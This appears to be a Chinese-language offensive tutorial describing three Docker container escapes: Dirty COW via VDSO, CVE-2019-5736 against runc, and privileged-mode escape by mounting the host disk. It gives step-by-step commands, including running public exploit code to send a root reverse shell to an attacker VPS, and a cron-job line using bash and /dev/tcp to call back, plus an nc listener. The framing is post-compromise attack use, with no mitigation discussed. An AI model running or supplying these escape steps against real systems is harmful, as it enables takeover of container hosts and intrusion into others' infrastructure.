docker逃逸的几种方法
docker逃逸的几种方法
前言
获取某个系统 shell 后发现其是 docker,这时候我们就需要进行 docker 逃逸来拿到其真正宿主的权限。这里提供几种思路。
- 利用 dirty cow 来进行 docker 逃逸
- cve-2019-5736
- 利用特权模式逃逸
利用 dirty cow 来进行 docker 逃逸
前置知识
docker与宿主机共享内核,如果要触发这个漏洞,需要宿主机存在dirtyCow漏洞的宿主机。
VDSO 其实就是将内核中的.so 文件映射到内存,.so 是基于 Linux 下的动态链接,其功能和作用类似与 windows 下.dll 文件。
在 Linux 中,有一个功能:VDSO (virtual dvnamic shared object), 这是一个小型共享库,能将内核自动映射到所有用户程序的地址空间,可以理解成将内核中的函数映射到内存中,方便大家访问。
利用 dirty cow 与 VDSO 来实现 docker 逃逸的过程
dirty cow 漏洞可以让我们获取只读内存的写的权限,我们首先利用 dirty cow 漏洞写入一段 shellcode 到 VDSO 映射的一段闲置内存中,然后改变函数的执行顺序,使得调用正常的任意函数之前都要执行这段 shellcode。这段 shellcode 初始化的时候会检查是否是被 root 调用,如果是则继续执行,如果不是,则接着执行 clock_gettime 函数,接下来它会检测 /tmp/.X 文件的存在,如果存在,则这时已经是 root 权限了,然后它会打开一个反向的 TCP 链接,为 Shellcode 中填写的 ip 返回一个 Shell。
这种利用方法利用成功的前提是,宿主机的内核有 dirty cow 漏洞。
漏洞环境搭建
0x01 测试环境下载
1 | git clone https://github.com/gebl/dirtycow-docker-vdso.git |
0x02运行测试容器
1 | cd dirtycow-docker-vdso/ |
0x03进入容器,编译POC并执行
1 | cd /dirtycow-vdso/ |
利用过程
0x01判断是否是docker环境
1 | ls -alh /.dockerenv |
docker环境的根目录下存在该文件.dockerenv
查看系统进程的cgroup 信息
1 | cat /proc/1/cgroup |
0x02判断是否存在脏牛漏洞
发现内核版本较低,存在脏牛漏洞
0x03利用脚本
先下载脚本
1 | git clone https://github.com/scumjr/dirtycow-vdso.git |
运行利用
1 | ./0xdeadbeef #反弹shell到本地主机 |
利用结果,我们直接反弹宿主机的 shell 到 我的VPS上 如图所示
再判断一下是不是宿主机
发现是宿主机账户,成功getshell
通过 cve-2019-5736 来达到 docker 逃逸
利用原理与条件
通过在 docker 容器内重写和运行主机系统的 runc 二进制文件达到逃逸的目的。
利用条件为:
runc 版本 <=1.0-rc6
Docker Version < 18.09.2
漏洞触发过程
首先我们得有一个 docker 下的 shell,第二步修改利用脚本中的反弹 shell 命令,第三步使用 go build 来编译脚本,第四步将脚本上传到 docker 中,第五步等待宿主机执行 exec 进入当前 docker 容器等时候,宿主机就会向我们的 vps 反弹 root 权限的 shell。
具体操作
第一步:确定 docker 环境
1 | ls -alh /.dockerenv |
docker 环境中根目录下存在此文件
查看系统进程的 cgroup 信息
1 | cat /proc/1/cgroup |
第二步:下载利用脚本并修改
1 | git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git |
将下图上的payload部分改写为反弹 shell 命令即可
第三步:编译脚本
1 | go build main.go |
第四步:将编译好的 main 文件上传到 docker 中
可以先上传到 github 然后在 docker 到 shell 中使用 git clone 命令即可,这里不做演示。
第五步:执行脚本并等待此 docker 再次被 exec
1 | docker exec -it test /bin/bash |
如上命令的含义是进入 test 这个容器,当宿主机上执行 exec 命令来进入我们运行了脚本的容器的时候,宿主机就会反弹 root 权限的 shell 给我们的 vps 的监听端口,至此利用结束。
对此种方式利用的理解
这种方式利用的条件其实比较苛刻,主要苛刻在宿主机必须有人执行 exec 命令进入当前 docker 环境,如果没有人在宿主机执行的话,是无法进行 docker 逃逸的。
利用特权模式逃逸
漏洞原理
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行 docker run —privileged 时,Docker 容器将被允许访问主机上的所有设备,并可以执行 mount 命令进行挂载。
漏洞利用
- 查看磁盘文件
fdisk -l
- 将 /dev/vda1 也就是磁盘挂在到本地的任意文件下
1 | mkdir /nuoyan |
- 写入计划任务
1 | echo '* * * * * bash -i >& /dev/tcp/vps的ip/8888 0>&1' >> /nuoyan/var/spool/cron/root |
- 在vps上等待shell反连接
1 | nc -lvp 8888 |